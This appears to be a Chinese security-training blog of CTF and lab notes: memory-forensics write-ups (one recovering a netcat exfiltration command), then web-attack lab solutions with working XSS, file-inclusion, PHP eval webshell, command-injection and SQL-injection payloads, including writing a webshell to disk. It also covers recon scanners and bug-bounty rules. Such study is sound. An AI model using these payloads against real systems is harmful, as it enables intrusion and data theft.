volatility -f mem.raw --profile=Win7SP1x64 filescan | grep flag

发现flag.zip

volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./

导出文件到本地，修改为flag.zip，输入上面黑客提示的密码即可

拿到flag：flag{ez_di_imp_1t_y0u_like?}

zy.raw (浏览器历史记录取证)

题目： 获取用户浏览器历史记录

volatility -f zy.raw imageinfo

volatility -f zy.raw --profile=WinXPSP2x86 iehistory

获取历史记录可以发现flag.jpg hint.txt（虽然不知道为什么我扫不出来）

filescan | grep hint.txt

dumpfiles -Q 0x0000000002456028 -D ./ 导出文件，改名，获取提示

filescan | grep fl4g 发现它桌面有个fl4g.zip

dumpfiles -Q 0x0000000002052028 -D ./ 改名之后下载

发现2张图，jpg，png

stegsolve先加载png，image combier再加载jpg，合成之后调整通道，发现二维码

扫描二维码发现谐音提示（看半天看懂，气笑了）：氟徕格乃錵扩号欸必西弟亿艾虎锯錵扩号，即flag{abcdefg}

memory.img (内存密文取证)

题目： 找到可疑内存进行取证+解密数据

volatility -f memory.img imageinfo

volatility -f memory.img --profile=Win2003SP1x86 pslist 查看进程发现 DumpIt.exe pid 3660 1992

filescan | grep flag 发现桌面有flag.png

dumpfiles -Q 0x000000000484f900 -D ./ 下载图片

扫码得到 jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4= 但是发现被加密了

memdump -p 1992 -D ./ 进程下载下来

foremost 1992.dmp 对进程文件进行分解

发现：

1
2

key:Th1s_1s_K3y00000
iv:1234567890123456 （这个用不到欸~）

判断为aes加密使用工具：https://www.toolhelper.cn/SymmetricEncryption/AES

运算模式ecb

OtterCTF.vmem（大型综合深入取证）

题目：

你获取了瑞克电脑的内存样本。你能得到他的用户密码吗？
先来点简单的——这台电脑的名称和IP地址是什么？
瑞克特别喜欢玩一些经典的老游戏。你能看出他在玩什么游戏吗？游戏服务器的IP地址是多少？
我们得知账户登录到了一个名为“Lunar-3”的频道。请问账户名是什么？
根据初步调查，我们发现登录角色的用户名总是出现在以下签名之后： 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 瑞克在游戏中的角色名字是什么？
瑞克总是忘记邮箱密码，因此他使用在线密码存储服务来保存密码。他总是通过复制粘贴来输入密码，以免输错。瑞克的邮箱密码是什么？
我们之所以获取瑞克电脑的内存转储，是因为它感染了恶意软件。请找出恶意软件的进程名（包含扩展名）。
恶意软件是如何进入瑞克电脑的？这很可能与瑞克过去的某个非法习惯有关……（可以结合《瑞克和莫蒂》的剧情来推测）
继续追踪恶意软件的入侵途径。
我们确认这个恶意软件是勒索软件。请找到攻击者的比特币地址。
恶意软件的图形界面有些可疑之处。
瑞克必须恢复他的文件！请问用于加密文件的随机密码是什么？
既然你已经从内存中提取出了密码，现在能解密瑞克的文件了吗？

解析：

执行volatility -f OtterCTF.vmem --profile=Win7SP1x64 hashdumps得到：

`1`	`Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::`

netscan

发现192.168.202.131为电脑ip地址

hivelist 查看注册表

发现0xfffff8a000024010 0x000000002d50c010 \REGISTRY\MACHINE\SYSTEM 0xfffff8a000024010是这个注册表的虚拟地址

-o 0xfffff8a000024010 printkey 查看注册表中的key

-o 0xfffff8a000024010 -K "ControlSet001" printkey 查看subkey中的值

最终经过层层查看，执行：
1

volatility -f OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 -K "ControlSet001\Control\ComputerName\ComputerName" printkey
后终于拿到计算机名：WIN-LO6FAF3DTFE
netscan

发现LunarMS.exe，连接到的服务器IP为77.102.199.102
导出LunarMS.exe的内存信息：
1

volatility -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .\
使用010 Editer等十六进制查看工具打开，搜索"Lunar-3"附近的内容

因此账户名就是0tt3r8r33z3（没有理由，问就是玄学）

同样是分析刚才的708.dmp，根据题目所给线索，我们拼出一个搜索内容：
1

4006????????????????????????????????????5A0C0000
在010 Editer中搜索（记得在选项中打开“使用通配符搜索”）可得唯一结果：

即游戏角色名为“M0rtyL0L”
根据提示，我们使用命令查看剪贴板：
1

volatility -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
得到邮箱密码：M@il_Pr0vid0rs

执行命令pstree 查看进程树：

可疑，因为vmwware是虚拟机的进程，不应该出现在其他人的子进程中

执行命令：cmdline -p 3720,3820判断两个进程的出生位置

Volatility Foundation Volatility Framework 2.6
************************************************************************
Rick And Morty pid:   3820
Command line : "C:\Torrents\Rick And Morty season 1 download.exe" 
************************************************************************
vmware-tray.ex pid:   3720
Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe"

看到vmware-tray.exe存在于临时目录中，确定确实是恶意软件。

filescan | grep -i "Rick and Morty" 发现在下载文件。：
1

0x000000007d8813c0 2 0 RW-rwd \Device\HarddiskVolume1\Users\Rick\Downloads\Rick And Morty season 1 download.exe.torrent
dumpfiles -Q 0000007dae9350 -D ./ 下载这个进程

strings file.None.0xfffffa801b42c9e0.dat 查看进程中所有的字符

发现关键词M3an_T0rren7_4_R!cke
因为目标使用chrome浏览器 filescan | grep -i "chrome.*history*"

搜索chrome相关历史，导出第一个： dumpfiles -Q 0x000000007d45dcc0 -D ./

发现下载了2个文件

chrome浏览器使用sqlite数据库存储的

使用sqlitestudio查看chrome数据（打开.dat文件），发现曾经访问@mail.com邮箱

开始寻找邮箱账号

strings OtterCTF.vmem > outterctf.strings 内存转化为字符串

grep "@mail.com" outterctf.strings 在字符串中寻找关键词，找到邮箱rickopicko@mail.com

grep -A 20 "<rickopicko@mail.com>" outterctf.strings 搜索邮箱对应的邮件

发现关键词Hum@n_I5_Th3_Weak3s7_Link_In_Th3_Ch@inYear
发现目标btc地址

filescan | grep "Desktop" 搜查电脑桌面
1

0x000000007d660500 2 0 -W-r-- \Device\HarddiskVolume1\Users\Rick\Desktop\READ_IT.txt
发现黑客留下的勒索信

dumpfiles -Q 0x000000007d660500 -D ./ 阅读没发现什么

把目标恶意软件3720进程下下来

memdump -p 3720 -D ./

strings -e l 3720.dmp | grep -i -A 5 "ransom"

注意上面这条是Linux命令，不要拼接在volatility语句后面！

搜索勒索方面的关键词看到btc地址1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M
procdump -p 3720 -D ./ 把目标进程包装为exe格式

binwalk executable.3720.exe 查看恶意软件本尊中包含了什么包含了图片，png格式

foremost -t png executable.3720.exe 专门分解里面的图片出来，结果：
继续分析刚才导出的3720.dmp

strings -e l 3720.dmp > 3720.dmp.strings 把恶意进程转化为字符串

grep "WIN-LO6FAF3DTFE" 3720.dmp.strings | wc -l

grep "WIN-LO6FAF3DTFE" 3720.dmp.strings | sort | uniq

注意上面三条命令都是Linux自带命令，不要拼接在volatility语句后面！

发现WIN-LO6FAF3DTFE-Rick aDOBofVYUNVnmp7

恢复被加密的文件

filescan | grep -i "flag" 发现

`1`	`0x000000007e410890 16 0 R--r-- \Device\HarddiskVolume1\Users\Rick\Desktop\Flag.txt`

dumpfiles -Q 0x000000007e410890 -D ./

改名为Flag.txt

打开c32把下面所有00去掉，保存

根据勒索软件的文件头搜索出来HiddenTear病毒，可以使用解密软件：https://pan.baidu.com/s/1HdaPg0w_Azr-foBGJsdNUA?pwd=x7j3

将待解密文件放在单独文件夹，修改上面的Extension(后缀名)为.txt ，之后输入这个aDOBofVYUNVnmp7密码

解密得CTF{Im_Th@_B3S7_RicK_0f_Th3m_4ll}

L-xxx-xxx.raw (黑客行为取证)

题目（迫真情景）：

一天下午小白出去吃饭，临走之前还不忘锁了电脑，这时同寝室的小黑想搞点事情，懂点黑客和社工知识的小黑经过多次尝试获得了密码成功进入电脑，于是便悄悄在电脑上动起手脚了，便在桌面上写着什么，想给小白一个惊喜，同时还传送着小白的机密文件，正巧这时小白刚好回来，两人都吓了一跳，小黑也不管自己在电脑上留下的操作急忙离开电脑，故作淡定的说：“我就是随便看看”。

小黑发送的机密文件里面到底是什么，据说是flag？
小黑写的啥？
那么问题来了，小白的密码是啥？

解析：

cmdscan

发现执行过以下命令： nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

查找文件：

filescan | grep P@ssW0rd_is_y0ur_bir7hd4y.zip
1

0x0000000002c61318 3 1 R--rw- \Device\HarddiskVolume1\Program Files\Netcat\P@ssW0rd_is_y0ur_bir7hd4y.zip
导出文件：

dumpfiles -Q 0x0000000002c61318 -D ./

发现2个文件，哪个文件改为.zip能用就用哪个

破解zip的密码，可使用ARCHPR软件，位置在C:\tools\alltools\密码破解\rar密码破解-ARCHPR.zip自行安装

最终密码是19950101（爆不出来就是设置原因，例如是否勾选所有数字？密码长度是否足够？）

发现flag
notepad 看到记事本内容：

666C61677B57336C6563306D655F376F5F466F72336E356963737D
hashdump

xp-sp3.raw (行为分析取证)

题目： 获取记事本和图片的信息

volatility -f xp_sp3.raw imageinfo

volatility -f xp_sp3.raw --profile=WinXPSP2x86 pslist

notepad

记事本里的内容为20211209(encrypt)

volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan | grep flag

导出文件 volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001e65028 -D ./

图片里有字符串提示：FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]

实际上原题的加密算法在flag.zip中，需要我们导出并用之前记事本里看到的密码解压查看，这里就直接给出解密脚本了：

s = list(b'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]')
t = ''

def encrypt(x):
    if x >= ord('a') and x <= ord('w'):
        x += 3
    elif x == ord('x'):
        x = ord('a')
    elif x == ord('y'):
        x = ord('b')
    elif x == ord('z'):
        x = ord('c')
    elif x == ord('_'):
        x = ord('|')
    x -= 32
    return x

for i in range(len(s)):
    for j in range(128):
        if encrypt(j) == s[i]:
            t += chr(j)
            break
    else:
        t += '?'
print(t)

# cazy{Xian?will?certainly?succeed?in?fighting?the?epidemic}

把?替换成_：cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

西安一定会战胜疫情

Target.vmem (pc和手机取证)

题目： 获取密码信息和手机信息

解析：

volatility -f Target.vmem imageinfo

volatility -f Target.vmem --profile=Win7SP1x64 lsadump 发现密码

filescan | grep CTF 文件查找

`1`	`0x000000007e164cc0 12 0 R--r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exe`

filescan | grep HUAWEI 查找华为信息

`1`	`0x000000007fe72430 2 0 -W-r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz\picture\storage\MediaTar\images\images0.tar.enc`

导出文件dumpfiles -Q 0x000000007fe72430 -D ./

在GitHub上寻找工具对目标型号华为进行破解

mem.dump (磁盘加密取证)

题目： 打开mem.dump内存，里面有使用CnCrypt加密软件加密的内容，请破解挂载后取证

解析：

volatility -f mem.dump imageinfo

volatility -f mem.dump --profile=Win7SP1x64 pslist 发现 CnCrypt.exe

volatility -f mem.dump --profile=Win7SP1x64 filescan | grep flag 搜索flag文件位置

导出文件dumpfiles -Q 0x000000003e435890 -D ./

volatility -f mem.dump --profile=Win7SP1x64 cmdscan 发现提示，ccx的密码和管理员密码一样

volatility -f mem.dump --profile=Win7SP1x64 hashdump

发现密码，使用解密平台解密：ABCabc123

CnCrypt_v1.29挂载加密卷（C:\tools\alltools\数字取证win工具）

打开加密卷中的文件得到flag：flag{now_you_see_my_secret}

2.1 综合练习

Sun, 01 Feb 2026 19:33:01 +0800

XSS注入

http://chanzhi7.njhack.xyz/www/

尝试搜索一些内容，在F12中使用Ctrl+F看看搜索的关键词出现在了网页源代码的哪些位置。

`1`	`<input type='text' name='words' id='words' value='haha' class='form-control' placeholder='' />`

直接尝试注入

`1`	`<input type='text' name='words' id='words' value=' abc'><script>alert(1)</script><img ' ' class='form-control' placeholder='' />`

被拦截

尝试二阶URL编码，发现可以逃逸闭合，并且网站并没有拦截

`1`	`<input type='text' name='words' id='words' value=' abc'><img ' ' class='form-control' placeholder='' />`

Payload1：

`1`	`<input type='text' name='words' id='words' value=' abc' onmouseover='alert(1) ' class='form-control' placeholder='' />`

Payload2（思考）：

直接使用<script></script>格式的注入发现编码两次也被拦截，

解决方案：那么单独对<script></script>再编码一次

文件包含-1

该靶场包含三个文件：

index.php

<?php

$a = $_GET['page'];

if(stristr($a,'php://')){
  die("stop hacking");
}

if(stristr($a,'data://')){
  die("stop hacking");
}


if(!isset($a)){
  include 'page1.php';
}else{
  include $a;
}

?>

page1.php

`1`	`<?php echo "this is page1";?>`

win.key

`1`	`success!`

目标： 在网页中查看到win.key的内容

解析： 参数直接填?page=win.key即可

文件包含-2

访问：http://fileinclude1.njhack.xyz/#/

解析： 看到URL中默认是包含了一个view.html，我们尝试直接访问一下这个页面并查看其源代码。

<?php 
@$a = $_POST['Hello']; 
if(isset($a)){ 
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); 
} 
?>
Hello
<br>
Are you ok?

base64处的内容解码为：[@eval(base64_decode($_POST[z0]));]，这说明此处实际上存在一个一句话木马，调用该木马的方法是传入任意Hello参数，同时传入z0一个base64编码后的待执行命令。

这里我们为z0传入一个system($_POST["cmd"])的系统级一句话木马，这样我们快就可以通过追加一个参数cmd直接执行系统级命令，例如ls、cat。

所以我们POST以下内容：

`1`	`Hello=1&z0=c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==&cmd=ls ../ 后面的退回上一级是测试出来的`

可以看到列出的文件的确有key.php

因此我们继续传入：

`1`	`Hello=1&z0=c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==&cmd=cat ../key.php`

成功拿到目标数据。

文件包含-3

访问：http://fileinclude2.njhack.xyz/#/

解析：

这次的view.html中就没有什么一句话木马了，我们使用php伪协议之filter来读取，修改file参数为

`1`	`http://fileinclude2.njhack.xyz/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php`

其中到上一级目录同样是测试出来的，看到返回了这样一串字符串：

`1`	`R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+`

使用base64解码得：

Get it!
<?php

//key:6u3x9t2p
?>

命令执行-1

在phpstudy中自行搭建：

<?php

$a = $_GET['a'];
eval("\$o=strtolower(\"$a\");");
echo $o;
show_source(__FILE__);

?>

解析：

可以看到源代码的含义是将传入的参数值全部转为小写并且print一遍，这里的主要思路是逃逸闭合，为了方便，这一过程应在本地的记事本中进行，把eval那行代码复制到记事本中，尝试逃逸闭合：

`1`	`eval("\$o=strtolower(\" x\");");system($_GET["cmd"]);// \");");`

因此我们只需传入参数：a=x\");");system($_GET["cmd"]);///&cmd=系统命令

不过受限于Windows环境，这里我们知道思路即可。

命令执行-2

访问：http://exec1.njhack.xyz/#/

解析：

测试发现&没有被过滤，因此我们使用&拼接命令

1
2

127.0.0.1 & l's ../			在此处发现了目标key.php
127.0.0.1 & c'a't ../key.ph*		此处发现php可能是敏感词，故设法绕过

代码审计

访问：http://dmsj1.njhack.xyz/#/

解析：

思路一：

看到页面上展示的源代码是获取传入的cmd参数并使用exec执行，并且多余传入参数值有长度限制，可惜exec并不会直接输出代码执行的结果。

echo '<?php ' >> test.php
echo 'eval(\c' >> test.php
echo '$_PO\c' >> test.php
echo 'ST[\c' >> test.php
echo 'z0])\c' >> test.php
echo '?>\c' >> test.php

至此我们已经在当前目录创建了一个php文件并且陆续向其中写入了一句话木马（参数z0）。

思路二：

直接传入参数：

?cmd=ls ../ >> a.html

接下来直接访问a.html这个文件就好啦。

反序列化

自行部署：

<?php

error_reporting(0);
$PTE = "CISP-PTE";
$str = $_GET['str'];

if(unserialize($str)==="$PTE"){
    echo "key is xxxxxx";
}

show_source(__FILE__);

?>

解析：

和之情一样，既然题目要求我们反序列化的结果要和$PTE这个参数值一致，那么我们直接修改源代码在在下面加一行看看它序列化之后长什么样子就行了。

因此我们传参：?str=s:8:"CISP-PTE";

sql注入之insert注入

靶场文件：https://pan.baidu.com/s/1xAO7Eu9_Tc0pUfiiQaUkww?pwd=7ys3

将靶场部署到phpstudy后导入sql文件到数据库的2web库中

解析：

查看源代码发现我们填写的参数插入后接下来便会被查询出来，所以我们考虑直接插入一个查询（select）语句，题目要求在author处进行注入，我们首先逃逸闭合，仿照原来的语句补全一组插入内容，然后在后面新增一组插入值，里面填写我们真正想要填写的内容

要注意的是因为最终还是要与原语句凭借闭合，所以在第二组插入值中应该修改前两个值来进行注入，因为第三个无论如何最后都会被引号包裹而无法逃逸。

最终Payload:

x','123'),('tt1',database(),'nihao	

x','123'),('tt1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'nihao	

x','123'),('tt1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='2web'/**/and/**/table_name='users1'),'nihao

x','123'),((select/**/group_concat(username)/**/from/**/users1),(select/**/group_concat(password)/**/from/**/users1),'nihao

1.31 信息搜集

Sat, 31 Jan 2026 19:32:25 +0800

信息搜集都是挖漏洞的前置工作，信息搜集越充分对后续挖漏洞越有利

subfinder搜集子域名

查找一些简单命令写法
subfinder.exe -h
查找某个网站的所有子域名
subfinder.exe -d nba.com（查找nba.com网站所有子域名）——但是此方法容易被发现
用代理查找某个网站的子域名
subfinder.exe -d nba.com -proxy http://xx.x.x.x:8080
筛选查找，subfinder.exe -dL list.txt -f exclude.txt -m match.txt -o output.txt
创建文件list.txt：存放所有你找到的网站
创建文件exclude.txt：存放不需要查找域名的网站
创建match.txt：用来指定一个包含关键词 / 正则表达式的文件
创建output.txt：结果输出到最后的文件夹里面
需要判断哪些域名是活的（可以访问）
将httpx里面的httpx.exe拖进subfinder文件夹
httpx和subfinder一起配合工作
subfinder -d nba.com | ./httpx -o hack.html -html -title

fofa

再导出查询的所有数据
后续可以用httpx检查活性

工具xray_windows_amd64.exe

http://testphp.vulnweb.com 充满漏洞的网站，扫描这个网站

基本用法1：

`1`	`xray_windows_amd64.exe webscan --basic-crawler http://testphp.vulnweb.com/ --html-output xx.html`

会将最后扫出来的结果放在xx.html（相当于渗透测试报告）

基本用法2：burp和xray的联动

在xray目录底下打开cmd输入命令：

`1`	`xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output burp.html`

打开burpsuite添加监听端口：proxy settings–network–connections–add
如果以后不用就把勾去掉

设置完burp后在打开一个网站
在监听端口就能检测到网站的一些信息，然后你可以正常上网浏览此网站，xray会检测到一些网站可能存在的漏洞

xray_windows_amd64.exe webscan --url http://192.168.119.129:9000 扫描
poc扫描出来
xray_windows_amd64.exe webscan --url http://192.168.149.130:9000 --poc ./minio.yaml
xray_windows_amd64.exe -log-level debug webscan --url http://192.168.149.130:9000 --poc ./minio.yaml

xray图形化界面的使用（不用记命令的方法）

在一键日卫星打开xray
点击按钮选择，配置好

如果要配合burp使用就选择被动监听端口，因为是流量传递给burp，burp再传递给你，你才可以扫描
配置好后点击开始扫描就可以自动开始，结束会将结果以.html输出

nuclei

利用yaml文件扫描漏洞的程序

准备工作

nuclei.exe -update-templates
单个目标
nuclei.exe -target 192.168.119.129:9000
（vulfocus）

多个目标（批量）

nuclei.exe -l list.txt
创建list.txt在里面写你需要扫描的网站

nuclei.exe -target 192.168.119.129 ：9000 -t ./minio/minio.yaml
指定poc扫描
nuclei.exe -target 192.168.149.130:9000 -t ./minio/
指定批量poc扫描
matchers回包信息

shiro
type:word
part:header
words:remember me???

nuclei-poc开发

开发环境：
Vscode+Yaml插件 https://code.visualstudio.com/
开发文档参考资料：
https://docs.nuclei.sh/template-guide/introduction
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
Poc开发-Yaml语法&匹配提取 YAML是一种数据序列化语言，它的基本语法规则注意如下：

大小写敏感 -使用缩进表示层级关系 -缩进时不允许使用Tab键，只允许使用空格。
缩进的空格数目不重要，只要相同层级的元素左侧对齐即可

Yaml Poc模版：

编号 id
信息 info
请求 http file tcp等
匹配 matchers Interactsh
提取 extractors

开发流程：

poc模版套用修改
poc创建独立编号
poc填入详细信息
poc提交协议流程编写
poc结果匹配模式判断
poc结果提取模式判断

案例1：CVE-2023-28432 （匹配结果）
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
使用docker-compose开启docker
浏览器打开http://192.168.87.146:9001/可以访问但是目标的api是在9000端口

afrog

自带poc很少所以扫描出来很少

1
2

afrog -t http://testphp.vulnweb.com/ -o vulnweb.html
afrog -t http://testphp.vulnweb.com/ -P ./minio.yaml -o vulnweb.html

fiora

为poc框架nuclei提供了图形界面，实现快速搜索、一键运行等功能
CNVD-2017-02833 fastjson 1.2.47
burp安装fiora插件在history中，对该流量右键 send url to fiora 搜索fastjson 1.2.47，找到该条后右键run this poc
nuclei -t C:\Users\Administrator\nuclei-templates\http\vulnerabilities\fastjson\fastjson-1-2-47-rce.yaml -u http://192.168.213.129:55646/ -proxy http://127.0.0.1:8080
注意：nuclei.exe复制到burp文件夹下

资产搜集

优先攻子域名

Ehole

Ehole_v0.0.1.exe finger -l 123.txt -json export.json

rad

rad -t http://4399.com
rad_windows_amd64.exe -t http://4399.com -text 321.txt
-t|--target|-u|--url 指定目标网址
--text 以text形式输出
--full 导出完整请求
--http-proxy 添加代理
--wait-login 网站中存在登陆时使用

与xray联动
rad_windows_amd64.exe -t http://vulnweb.com --http-proxy 127.0.0.1:7777
xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output 234.html

vulmap

python vulmap.py -u http://testphp.vulnweb.com
python -m pip install -r requirements.txt

dddd

dddd64.exe -t 192.168.213.0/24 扫ip扫端口
dddd64.exe -t http://192.168.213.129:43512/ 攻击网站

ghauri

python -m pip install -r requirements.txt
python setup.py install
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3"
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3" --skip-urlencode --dbs
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3" --skip-urlencode -D 库名  --tables
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3" --skip-urlencode -D 库名  -T 表名 --culumns
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3" --skip-urlencode -D 库名  -T 表名 -C 字段名 --dump
ghauri -u "http://testphp.vulnweb.com/artists.php?artist=3" --skip-urlencode --sql-shell

1.30 漏洞挖掘

Fri, 30 Jan 2026 20:41:45 +0800

挖洞规则（不是渗透）

bug hunter vs pentest

什么是SRC？

Security Response Center 安全应急响应中心

现在市面上存在了各种厂商的安全应急响应中心：https://www.anquanke.com/src/

了解你所要提交的SRC平台规则和要求，不同的平台给出的评分标准不同。

详细阅读测试范围，不要超出，会有非法测试的风险。

遵循安全测试规范，比如sql注入会有要求，哪些东西不能读取，最多读取多少条。

挖到数据库，只需要读取一两条证明。

不要使用自动化工具，sqlmap（自动化软件有可能会造成不可预料的后果，比如删库）条件允许测试越权漏洞，注册2个+账号，不要涉及在线用户。

大多数厉害网站一般都会出现越权注销功能（很多短信轰炸）

购物网站0元购或者积分，不会承认，让他发货，你再提交 xss漏洞，在线xss平台（不要用），自己搭建

情报漏洞不要做：某公司业务有漏洞可以删差评，有人进行出售，然后把出售截图提交给公司，公司核实之后支付报酬

游戏外挂出售电商信息出售刷钻漏洞等如果可以进而发现漏洞就可以提2次

企业内鬼证据、bc网站不要碰（国内，除非你水平特别高）

没有授权不要碰，某些奇怪的src不要碰做一些大的src，挖洞项目，国外挖洞 bat，字节，美团。。。。。教育src

众测：

（有钱）漏洞盒子—-金融—–养号

补天众测—-白帽子推荐/前300/挖到5个企业src高危/任意src平台年度top3 补天平台—-专属src–政府

360众测（门票ctf注册资格，不一定一直有项目）

火线平台（比较卷）雷神众测—-抢项目—银行 cve cnvd 编号：（有漏洞变化） cnvd：三大运营商，国企事业单位通用性，资产大于等于5000w

概念解释

越权

横向越权：同级权限跨越

纵向越权：拿到不同级别的权限（如Admin）

未授权：在没有做认证的情况下可以做认证后才能做的操作。

支付漏洞

支付逻辑常见测试:

熟悉常见支付流程

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

熟悉那些数据篡改

商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态等

熟悉那些修改方式

替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

熟悉那些另类方法

无限试用,越权支付,并发兑换,四舍五入半价购,循环利用优惠券,支付签约逻辑等

靶场实操

安装metinfo这个cms作为靶场：https://pan.baidu.com/s/1NOOP_SuNqeyz2Ld3yQebmg?pwd=8grs

越权

修改他人密码

横向/纵向越权：

在修改自己密码时抓包，发现数据包中验证用户身份的只有userid这一个，因此我们尝试修改userid的内容为其他用户，甚至是admin，放包。尝试登录发现成功。

Tips： 在实操中成功修改admin密码后无法登录通常是因为管理员的登录页面和普通用户不一样。

未授权：

在修改自己密码时尝试把数据包中的cookie删除，发现密码同样可以删除成功。

支付漏洞

安装easycms：https://pan.baidu.com/s/1a3po_LJ2NeWzDMreN3t2rQ?pwd=2uns

在购买物品时抓包，发现数据包中并未有价格相关数据，但是又物品id和物品数量，推测网站数据库中将物品id和价格已经绑定。

`1`	`GET /index.php?case=archive&act=doorders&aid=83&datatype=&buy=true&thisnum=1`

这里把thisnum的值为-100，发现价格变为负数，提交订单后订单显示支付成功，并且余额增加。

sql注入

安装BESScms：https://pan.baidu.com/s/1YkAYFphFxb-_7Y4MGZrcbw?pwd=pnfr

已知管理员登录界面可以进行sql注入，下面展示注入流程：

admin'or (extractvalue(1,concat(0x7e,database(),0x7e)))#	//besscms

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables whe where re table_schema like database()),0x7e)))# //bees_admin,bees_admin_group,bee

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database() a and nd table_name like 'bees_admin'),0x7e)))# //id,admin_name,admin_password,ad

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om bees_admin),0x7e)))# 	//admin

admin'or (extractvalue(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om bees_admin),1,15),0x7e)))#

admin'or (extractvalue(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om bees_admin),16,32),0x7e)))# //21232f297a57a5a743894a0e4a801fc3

我们甚至可以不满足于拿到管理员密码，我们尝试注入一句话木马：

1
2

admin'un union ion selselectect 1,2,3,4,0x3c3f706870206576616c28245f504f53545b27313233275d293b3f3e
 in into outoutfilefile 'C:/phpstudy_pro/WWW/test/123.php'#

1.29 misc和流量分析

Thu, 29 Jan 2026 19:18:27 +0800

前置知识

常见编码

base32 a-z 数字

base62 a-zA-Z0-9

base64 a-zA-Z0-9+/

base91 a-zA-Z0-9标点!#$%&()*+,./:;<=>?@[]^_{|}~"`

base100 emoji🤔

HEX 0-9 A-F

二维码

定位符

纠错率

题目（杂项）

下载链接：https://pan.baidu.com/s/1FTjx7tKAQvFlxbKCPaI1Ng?pwd=1uux

ezPNG

确定没有改过高，然后放进stegsolve里

analsye –> data extract –> rgb全选到0，并选择lsb first –> preview –> save text –> 将Unicode编码复制后解码

img

575Z373A2W646A793853564W5A317X486633576X4726572632462V496360484478777157693Z5731563Z657X76482W3Y

VWXYZA –> ABCDEF 凯撒密码偏移

575E373F2B646F793853564B5F317C486633576C4726572632462A496360484478777157693E5731563E657C76482B3D

draw

发现是255 255 255的内容，判断为色点图

使用脚本解决

from PIL import Image

height = 400
width = 400

reader = open("./timu.txt","r")

lines = reader.readlines()

reader.close()

img = Image.new("RGB",(400,400))

cnt = 0

for l in lines:
    l = l.strip()
    obj = l.split(" ")
    r = int(obj[0])
    g = int(obj[1])
    b = int(obj[2])
    tow = (r,g,b)
    
    img.putpixel((cnt%400,cnt//400),tow)
    cnt+=1

img.save("haha.png")

disco

查看波形，注意到 前0.0025秒有可疑的波形，向上我们按为0向下为1进行转换，将转换来的二进制串直接转换发现不行，那么以7为为一组，前面补0重新转换得到flag

这有点刺耳

频谱

hellokittykitty

波形

see

频谱

helloflag

使用下面的脚本推算图片原本的宽高：

import struct
import binascii
import zlib

m = open("./image1_preview.png","rb").read()
crc32key = int(m[29:33].hex(),16)
data = bytearray(m[12:29])
for w in range(4095):
    width = struct.pack('>i',w)
    for h in range(4095):
        height = struct.pack('>i',h)
        for x in range(4):
            data[x + 4] = width[x]
            data[x + 8] = height[x]
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)

修改后看到下方露出了字符串，当作凯撒密码判断。

stegano

用PDF查看器（浏览器可能不行）打开，Ctrl+A，粘贴到记事本里，看到末尾有AB组成的大段字符：

`1`	`BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB`

尝试用莫斯码翻译即可

ZIPZIP

需要爆破，不看

FindTheTruth

可以看到该gif图其中的一帧有二维码，使用工具进行帧分离即可，如Photoshop、ffmpege、stegsolve等

blackwhite

可以看到是一堆黑白色块，将其按黑把转为二进制，使用下面的脚本（直接放在target文件夹下命令行执行即可）

flag_bin1 = ""
flag_bin2 = ""
white = open('0.png','rb').read()
black = open('1.png','rb').read()
for i in range(336):
    f = open(str(i)+".png",'rb')
    if f.read() == white:
        flag_bin1 += "0"
        flag_bin2 += "1"
    else:
        flag_bin1 += "1"
